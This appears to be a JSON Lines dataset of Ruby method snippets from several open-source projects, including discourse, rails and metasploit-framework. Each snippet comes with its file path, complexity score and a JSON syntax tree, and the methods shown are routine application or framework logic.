{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/controllers/devise_overrides/sessions_controller.rb","start_line":11,"raw_source":"def create\n    return handle_mfa_verification if mfa_verification_request?\n    return handle_sso_authentication if sso_authentication_request?\n\n    user = find_user_for_authentication\n    return handle_mfa_required(user) if user&.mfa_enabled?\n\n    # Only proceed with standard authentication if no MFA is required\n    super\n  end","complexity_score":11.3,"ast_json":"{\"type\":\"def\",\"children\":[\"create\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mfa_verification_request?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"handle_mfa_verification\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sso_authentication_request?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"handle_sso_authentication\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"user\",{\"type\":\"send\",\"children\":[null,\"find_user_for_authentication\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"mfa_enabled?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"handle_mfa_required\",{\"type\":\"lvar\",\"children\":[\"user\"]}]}]},null]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"80736664-ab78-455c-b0b9-7482e6cf8f6e"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/smb/client/remote_paths.rb","start_line":15,"raw_source":"def validate_rpaths!\n    unless (datastore['FILE_RPATHS'] && !datastore['RPATH']) || (!datastore['FILE_RPATHS'] && datastore['RPATH'])\n      validation_reason = 'One and only one of FILE_RPATHS or RPATH must be specified'\n      raise Msf::OptionValidateError.new(\n        {\n          'FILE_RPATHS' => validation_reason,\n          'RPATH' => validation_reason\n        }\n      )\n    end\n  end","complexity_score":21.6,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_rpaths!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"FILE_RPATHS\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RPATH\"]}]},\"!\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"FILE_RPATHS\"]}]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RPATH\"]}]}]}]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"validation_reason\",{\"type\":\"str\",\"children\":[\"One and only one of FILE_RPATHS or RPATH must be specified\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"OptionValidateError\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"FILE_RPATHS\"]},{\"type\":\"lvar\",\"children\":[\"validation_reason\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"RPATH\"]},{\"type\":\"lvar\",\"children\":[\"validation_reason\"]}]}]}]}]}]}]}]}","id":"58b650b6-f40d-4f42-b701-f82683b851ee"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/category.rb","start_line":1229,"raw_source":"def slug_path(parent_ids = Set.new)\n    if self.parent_category_id.present?\n      if parent_ids.add?(self.parent_category_id)\n        self.parent_category.slug_path(parent_ids) << self.slug_for_url\n      else\n        []\n      end\n    else\n      [self.slug_for_url]\n    end\n  end","complexity_score":15.4,"ast_json":"{\"type\":\"def\",\"children\":[\"slug_path\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"parent_ids\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Set\"]},\"new\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"parent_category_id\"]},\"present?\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parent_ids\"]},\"add?\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"parent_category_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"parent_category\"]},\"slug_path\",{\"type\":\"lvar\",\"children\":[\"parent_ids\"]}]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"slug_for_url\"]}]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"slug_for_url\"]}]}]}]}","id":"7315a701-8ff9-4e08-acca-a16e281eeafc"}
{"repo_name":"forem","file_path":"./repos/forem/app/models/settings/base.rb","start_line":179,"raw_source":"def value_of(var_name, subforem_id = nil)\n        # Ensure we fallback to the request store if not provided\n        subforem_id ||= (RequestStore.store[:subforem_id] || RequestStore.store[:default_subforem_id] || nil)\n        all = all_settings(subforem_id)\n        all[var_name]\n      end","complexity_score":12.1,"ast_json":"{\"type\":\"def\",\"children\":[\"value_of\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"var_name\"]},{\"type\":\"optarg\",\"children\":[\"subforem_id\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"subforem_id\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RequestStore\"]},\"store\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"subforem_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RequestStore\"]},\"store\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"default_subforem_id\"]}]}]},{\"type\":\"nil\",\"children\":[]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"all\",{\"type\":\"send\",\"children\":[null,\"all_settings\",{\"type\":\"lvar\",\"children\":[\"subforem_id\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"all\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"var_name\"]}]}]}]}","id":"586d785e-23b3-4397-9b09-c8955ee7961e"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/user_notification_schedule.rb","start_line":20,"raw_source":"def create_do_not_disturb_timings(delete_existing: false)\n    destroy_scheduled_timings if delete_existing\n    UserNotificationScheduleProcessor.create_do_not_disturb_timings_for(self)\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"create_do_not_disturb_timings\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"delete_existing\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"delete_existing\"]},{\"type\":\"send\",\"children\":[null,\"destroy_scheduled_timings\"]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UserNotificationScheduleProcessor\"]},\"create_do_not_disturb_timings_for\",{\"type\":\"self\",\"children\":[]}]}]}]}","id":"f764985e-d81a-48ed-ac55-7e578e03a0bf"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-policy/jobs/scheduled/check_policy.rb","start_line":95,"raw_source":"def calculate_next_renew_date(date, policy)\n        case policy.renew_interval\n        when \"monthly\"\n          date + 1.month\n        when \"quarterly\"\n          date + 3.months\n        when \"yearly\"\n          date + 1.year\n        else\n          date + policy.renew_days.to_i.days\n        end\n      end","complexity_score":19.9,"ast_json":"{\"type\":\"def\",\"children\":[\"calculate_next_renew_date\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"date\"]},{\"type\":\"arg\",\"children\":[\"policy\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"policy\"]},\"renew_interval\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"monthly\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"date\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[1]},\"month\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"quarterly\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"date\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[3]},\"months\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"yearly\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"date\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[1]},\"year\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"date\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"policy\"]},\"renew_days\"]},\"to_i\"]},\"days\"]}]}]}]}","id":"89185244-a3e6-4332-bba7-ff7ed03b9f65"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/theme_javascript_compiler.rb","start_line":26,"raw_source":"def compile!\n    if !@compiled\n      @compiled = true\n      @input_tree.freeze\n\n      output =\n        AssetProcessor.new.rollup(\n          @input_tree.transform_keys { |k| k.sub(/\\.js\\.es6$/, \".js\") },\n          { themeId: @theme_id, settings: @settings, minify: @minify && !@@terser_disabled },\n        )\n\n      @content = output[\"code\"]\n      @source_map = output[\"map\"]\n    end\n    [@content, @source_map]\n  rescue AssetProcessor::TranspileError => e\n    message = \"[THEME #{@theme_id} '#{@theme_name}'] Compile error: #{e.message}\"\n    @content = \"throw new Error(#{message.to_json});\\n\"\n    [@content, @source_map]\n  end","complexity_score":29.9,"ast_json":"{\"type\":\"def\",\"children\":[\"compile!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@compiled\"]},\"!\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@compiled\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@input_tree\"]},\"freeze\"]},{\"type\":\"lvasgn\",\"children\":[\"output\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AssetProcessor\"]},\"new\"]},\"rollup\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@input_tree\"]},\"transform_keys\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"k\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"k\"]},\"sub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\.js\\\\.es6$\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\".js\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"themeId\"]},{\"type\":\"ivar\",\"children\":[\"@theme_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"settings\"]},{\"type\":\"ivar\",\"children\":[\"@settings\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"minify\"]},{\"type\":\"and\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@minify\"]},{\"type\":\"send\",\"children\":[{\"type\":\"cvar\",\"children\":[\"@@terser_disabled\"]},\"!\"]}]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@content\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"output\"]},\"[]\",{\"type\":\"str\",\"children\":[\"code\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@source_map\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"output\"]},\"[]\",{\"type\":\"str\",\"children\":[\"map\"]}]}]}]},null]},{\"type\":\"array\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@content\"]},{\"type\":\"ivar\",\"children\":[\"@source_map\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AssetProcessor\"]},\"TranspileError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"message\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"[THEME \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@theme_id\"]}]},{\"type\":\"str\",\"children\":[\" '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@theme_name\"]}]},{\"type\":\"str\",\"children\":[\"'] Compile error: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@content\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"throw new Error(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"to_json\"]}]},{\"type\":\"str\",\"children\":[\");\\n\"]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@content\"]},{\"type\":\"ivar\",\"children\":[\"@source_map\"]}]}]}]},null]}]}","id":"94c852fa-aa80-4e3a-bdea-043ade6e4610"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/trust_level3_requirements.rb","start_line":225,"raw_source":"def num_likes_received_query\n    UserAction\n      .where(user_id: @user.id, action_type: UserAction::WAS_LIKED)\n      .where(\"user_actions.created_at > ?\", time_period.days.ago)\n      .joins(:target_topic)\n      .where.not(topics: { archetype: Archetype.private_message })\n  end","complexity_score":16.2,"ast_json":"{\"type\":\"def\",\"children\":[\"num_likes_received_query\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UserAction\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action_type\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UserAction\"]},\"WAS_LIKED\"]}]}]}]},\"where\",{\"type\":\"str\",\"children\":[\"user_actions.created_at > ?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"time_period\"]},\"days\"]},\"ago\"]}]},\"joins\",{\"type\":\"sym\",\"children\":[\"target_topic\"]}]},\"where\"]},\"not\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"topics\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"archetype\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Archetype\"]},\"private_message\"]}]}]}]}]}]}]}","id":"0f789806-fcf6-4120-b01c-5719fb7eadd2"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/resolvers/user_merge_requests_resolver_base.rb","start_line":52,"raw_source":"def resolve(**args)\n      prepare_args(args)\n      key = :\"#{user_role}_id\"\n      super(key => user.id, **args)\n    end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"resolve\",{\"type\":\"args\",\"children\":[{\"type\":\"kwrestarg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"prepare_args\",{\"type\":\"lvar\",\"children\":[\"args\"]}]},{\"type\":\"lvasgn\",\"children\":[\"key\",{\"type\":\"dsym\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user_role\"]}]},{\"type\":\"str\",\"children\":[\"_id\"]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"id\"]}]},{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]}]}]}]}]}]}","id":"41978848-798c-491a-8a2a-b7764eb64c1c"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/services/spree/data_feeds/google/required_attributes.rb","start_line":58,"raw_source":"def get_availability(product)\n          return 'in stock' if product.available? && product.available_on&.past?\n          return 'backorder' if product.backorderable? && product.backordered? && product.available_on&.future?\n\n          'out of stock'\n        end","complexity_score":13.7,"ast_json":"{\"type\":\"def\",\"children\":[\"get_availability\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"product\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"product\"]},\"available?\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"product\"]},\"available_on\"]},\"past?\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"str\",\"children\":[\"in stock\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"product\"]},\"backorderable?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"product\"]},\"backordered?\"]}]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"product\"]},\"available_on\"]},\"future?\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"str\",\"children\":[\"backorder\"]}]},null]},{\"type\":\"str\",\"children\":[\"out of stock\"]}]}]}","id":"47caf9ac-28e9-40ce-94e0-b98853f5249a"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/email/receiver.rb","start_line":1290,"raw_source":"def likes\n      @likes ||= Set.new [\"+1\", \"<3\", \"❤\", I18n.t(\"post_action_types.like.title\").downcase]\n    end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"likes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@likes\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Set\"]},\"new\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"+1\"]},{\"type\":\"str\",\"children\":[\"<3\"]},{\"type\":\"str\",\"children\":[\"❤\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"post_action_types.like.title\"]}]},\"downcase\"]}]}]}]}]}","id":"f9ed9c4b-8b3d-445c-9e06-6e809ad2156a"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/opt_condition.rb","start_line":59,"raw_source":"def self.show_option(mod, opt)\n      return true if opt.conditions.empty?\n\n      left_source = opt.conditions[0]\n      operator = opt.conditions[1]\n      right_value = opt.conditions[2]\n      if left_source == 'ACTION'\n        left_value = mod.action ? mod.action.name.to_s : nil\n      elsif left_source == 'TARGET'\n        left_value = mod.target.name.to_s\n      else\n        left_value = mod.datastore[left_source] || opt.default\n      end\n\n      show = eval_condition(left_value, operator, right_value)\n      show ||= eval_condition(left_value.to_s, operator, right_value) if left_value.is_a?(Symbol)\n      show\n    end","complexity_score":44.5,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"show_option\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"mod\"]},{\"type\":\"arg\",\"children\":[\"opt\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opt\"]},\"conditions\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"left_source\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opt\"]},\"conditions\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"lvasgn\",\"children\":[\"operator\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opt\"]},\"conditions\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"lvasgn\",\"children\":[\"right_value\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opt\"]},\"conditions\"]},\"[]\",{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"left_source\"]},\"==\",{\"type\":\"str\",\"children\":[\"ACTION\"]}]},{\"type\":\"lvasgn\",\"children\":[\"left_value\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"action\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"action\"]},\"name\"]},\"to_s\"]},{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"left_source\"]},\"==\",{\"type\":\"str\",\"children\":[\"TARGET\"]}]},{\"type\":\"lvasgn\",\"children\":[\"left_value\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"target\"]},\"name\"]},\"to_s\"]}]},{\"type\":\"lvasgn\",\"children\":[\"left_value\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"datastore\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"left_source\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opt\"]},\"default\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"show\",{\"type\":\"send\",\"children\":[null,\"eval_condition\",{\"type\":\"lvar\",\"children\":[\"left_value\"]},{\"type\":\"lvar\",\"children\":[\"operator\"]},{\"type\":\"lvar\",\"children\":[\"right_value\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"left_value\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Symbol\"]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"show\"]},{\"type\":\"send\",\"children\":[null,\"eval_condition\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"left_value\"]},\"to_s\"]},{\"type\":\"lvar\",\"children\":[\"operator\"]},{\"type\":\"lvar\",\"children\":[\"right_value\"]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"show\"]}]}]}","id":"ebf45b3e-4dd9-4e63-b93f-da6153f07c0b"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/core_ext/time_ext_test.rb","start_line":1285,"raw_source":"def test_all_year\n    assert_equal Time.local(2011, 1, 1, 0, 0, 0)..Time.local(2011, 12, 31, 23, 59, 59, Rational(999999999, 1000)), Time.local(2011, 6, 7, 10, 10, 10).all_year\n  end","complexity_score":13.75,"ast_json":"{\"type\":\"def\",\"children\":[\"test_all_year\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"irange\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"local\",{\"type\":\"int\",\"children\":[2011]},{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"local\",{\"type\":\"int\",\"children\":[2011]},{\"type\":\"int\",\"children\":[12]},{\"type\":\"int\",\"children\":[31]},{\"type\":\"int\",\"children\":[23]},{\"type\":\"int\",\"children\":[59]},{\"type\":\"int\",\"children\":[59]},{\"type\":\"send\",\"children\":[null,\"Rational\",{\"type\":\"int\",\"children\":[999999999]},{\"type\":\"int\",\"children\":[1000]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"local\",{\"type\":\"int\",\"children\":[2011]},{\"type\":\"int\",\"children\":[6]},{\"type\":\"int\",\"children\":[7]},{\"type\":\"int\",\"children\":[10]},{\"type\":\"int\",\"children\":[10]},{\"type\":\"int\",\"children\":[10]}]},\"all_year\"]}]}]}","id":"c6042be3-dd51-4a97-bc1a-56ca670e071b"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/phpbb3/support/text_processor.rb","start_line":218,"raw_source":"def process_videos(text)\n      # [YOUTUBE]<id>[/YOUTUBE]\n      text.gsub(%r{\\[youtube\\](.+?)\\[/youtube\\]}i) { \"\\nhttps://www.youtube.com/watch?v=#{$1}\\n\" }\n      text\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"process_videos\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"text\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"text\"]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\[youtube\\\\](.+?)\\\\[/youtube\\\\]\"]},{\"type\":\"regopt\",\"children\":[\"i\"]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\nhttps://www.youtube.com/watch?v=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"nth_ref\",\"children\":[1]}]},{\"type\":\"str\",\"children\":[\"\\n\"]}]}]},{\"type\":\"lvar\",\"children\":[\"text\"]}]}]}","id":"5a3fb2ca-1681-4dc2-ae53-f1466ffa4644"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/erb_util_test.rb","start_line":49,"raw_source":"def test_html_escape\n    HTML_ESCAPE_TEST_CASES.each do |(raw, expected)|\n      assert_equal expected, html_escape(raw)\n    end\n  end","complexity_score":7.7,"ast_json":"{\"type\":\"def\",\"children\":[\"test_html_escape\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"HTML_ESCAPE_TEST_CASES\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"arg\",\"children\":[\"raw\"]},{\"type\":\"arg\",\"children\":[\"expected\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"expected\"]},{\"type\":\"send\",\"children\":[null,\"html_escape\",{\"type\":\"lvar\",\"children\":[\"raw\"]}]}]}]}]}","id":"510d343c-6eea-4672-8376-7dd2e9356514"}
